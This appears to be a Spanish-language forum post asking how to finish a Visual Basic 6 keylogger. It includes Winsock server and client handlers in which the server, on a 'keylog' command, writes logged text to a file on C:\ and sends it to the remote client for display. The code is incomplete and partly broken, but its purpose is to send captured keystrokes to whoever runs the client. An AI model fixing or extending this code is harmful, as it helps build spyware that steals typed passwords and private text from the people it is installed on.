pues eso quiero hacer una funcion para el keylogger que seria la siguiente, cuando yo le de a un boton, quiero que el server me lea un .txt que se encuentra en C:\ y me mande los datos, y cuando lleguen al cliente quiero que el cliente los meta en un textbox para yo leerlo. yo tengo algo asi pero no me funciona.
Server.exe (DataArrival)
Cliente.exe (DataArrival)
si alguien podria decirme como es mas o menos se lo agradezco mucho
Server.exe (DataArrival)
Código [Seleccionar]
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos
Dim keys
Winsock1.GetData datos
If datos = "keylog" Then
Open "c:\archivo.txt" For Append As #1
Print #1, Text4.Text
Close #1
keys = Text4.Text
Winsock1.SendData keys
End If
End SubCliente.exe (DataArrival)
Código [Seleccionar]
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos
If datos = "keys" Then
Text1.Text = keys
End If
End Subsi alguien podria decirme como es mas o menos se lo agradezco mucho